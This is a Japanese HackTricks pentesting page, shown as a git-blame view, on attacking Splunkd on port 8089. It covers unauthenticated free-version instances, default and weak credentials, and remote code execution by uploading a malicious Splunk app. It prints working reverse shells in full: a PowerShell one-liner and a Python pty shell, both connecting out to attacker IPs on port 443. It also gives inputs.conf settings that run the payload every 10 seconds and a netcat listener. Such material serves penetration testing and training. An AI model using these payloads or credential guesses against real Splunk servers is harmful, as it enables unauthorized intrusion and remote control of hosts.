hacktricks/network-services-pentesting/8089-splunkd.md

135 lines
11 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# 8089 - Splunkdのペンテスト
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
</details>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
## **基本情報**
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
**Splunk**は、データを収集、分析、可視化するための**ログ分析ツール**です。元々SIEMツールとして意図されていなかったものの、Splunkは**セキュリティモニタリングとビジネス分析**によく使用されます。Splunkの展開では、**機密データ**が保管されることがあり、攻撃者にとっては豊富な情報源となる可能性があります。
2020-11-06 00:32:50 +00:00
2023-07-07 23:42:27 +00:00
**デフォルトポート:** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
Splunkのウェブサーバーはデフォルトでポート8000で実行されます。
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2023-07-07 23:42:27 +00:00
## 列挙
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
### 無料版
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
Splunk Enterpriseの試用版は60日後に**無料版に変換**され、**認証は必要ありません**。システム管理者がSplunkの試用版をインストールしてテストすることは珍しくありませんが、その後忘れられることがあります。これにより、環境にセキュリティホールが導入され、認証の形式がない無料版に自動的に変換されます。予算の制約により、一部の組織は無料版を選択する場合がありますが、ユーザー/ロール管理の重要性を十分に理解していない場合があります。
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
### デフォルトの資格情報
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
古いバージョンのSplunkでは、デフォルトの資格情報は**`admin:changeme`**であり、ログインページに便利に表示されます。\
ただし、**最新バージョンのSplunk**では、**インストールプロセス中に資格情報が設定**されます。デフォルトの資格情報が機能しない場合は、`admin`、`Welcome`、`Welcome1`、`Password123`などの一般的な弱いパスワードを確認する価値があります。
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
### 情報の取得
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
Splunkにログインすると、データを**閲覧**したり、**レポート**を実行したり、**ダッシュボード**を作成したり、Splunkbaseライブラリから**アプリケーションをインストール**したり、カスタムアプリケーションをインストールしたりできます。\
また、Splunkではコードを実行することもできます。Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、複数のコード実行方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
2023-07-07 23:42:27 +00:00
* `Splunkビルド`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
### カスタムアプリケーションの作成
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプト**を実行できます。\
注意点として、**SplunkにはPythonがインストールされている**ため、**Windows**システムでもPythonコードを実行できます。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
[**こちら**](https://github.com/0xjpuff/reverse\_shell\_splunk)のSplunkパッケージを使用して、手助けをします。このリポジトリの**`bin`**ディレクトリには、[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)の例があります。以下、ステップバイステップで進めていきましょう。
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
これを実現するために、まず以下のディレクトリ構造でカスタムSplunkアプリケーションを作成する必要があります
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
2023-07-07 23:42:27 +00:00
**`bin`**ディレクトリには、実行するスクリプト(この場合は**PowerShell**のリバースシェル)が含まれており、デフォルトのディレクトリには`inputs.conf`ファイルがあります。私たちのリバースシェルは、**PowerShellのワンライナー**です:
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
2023-07-07 23:42:27 +00:00
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)ファイルは、Splunkに**どのスクリプトを実行するか**とその他の条件を指定します。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位で指定され、この設定が存在する場合にのみ、入力スクリプトが実行されます。
2022-10-03 00:11:21 +00:00
```shell-session
2023-07-07 23:42:27 +00:00
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
2023-07-07 23:42:27 +00:00
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
2023-07-07 23:42:27 +00:00
必要なのは、アプリケーションが展開されたときに実行され、PowerShellのワンライナーを実行する`.bat`ファイルです。
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
次のステップは、`Install app from file`を選択し、アプリケーションをアップロードすることです。
2022-10-03 00:11:21 +00:00
2022-12-25 19:08:07 +00:00
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
悪意のあるカスタムアプリをアップロードする前に、Netcatまたは[socat](https://linux.die.net/man/1/socat)を使用してリスナーを開始しましょう。
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
2023-07-07 23:42:27 +00:00
`アプリのアップロード`ページで、`参照`をクリックし、先に作成したtarボールを選択し、`アップロード`をクリックします。アプリケーションのステータスが`有効`に自動的に切り替わるため、アプリケーションをアップロードするとすぐに逆シェルが受信されます。
2022-10-03 00:11:21 +00:00
#### Linux
2023-07-07 23:42:27 +00:00
もし**Linuxホスト**を扱っている場合、カスタムの悪意のあるアプリを作成してtarボールをアップロードする前に、`rev.py`のPythonスクリプトを編集する必要があります。それ以外のプロセスは同じであり、Netcatリスナーで逆シェル接続を受け取り、操作を開始することができます。
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
2023-07-07 23:42:27 +00:00
### RCE & 特権昇格
2022-10-03 00:11:21 +00:00
2023-07-07 23:42:27 +00:00
次のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかについて説明しています:
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
## 参考文献
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>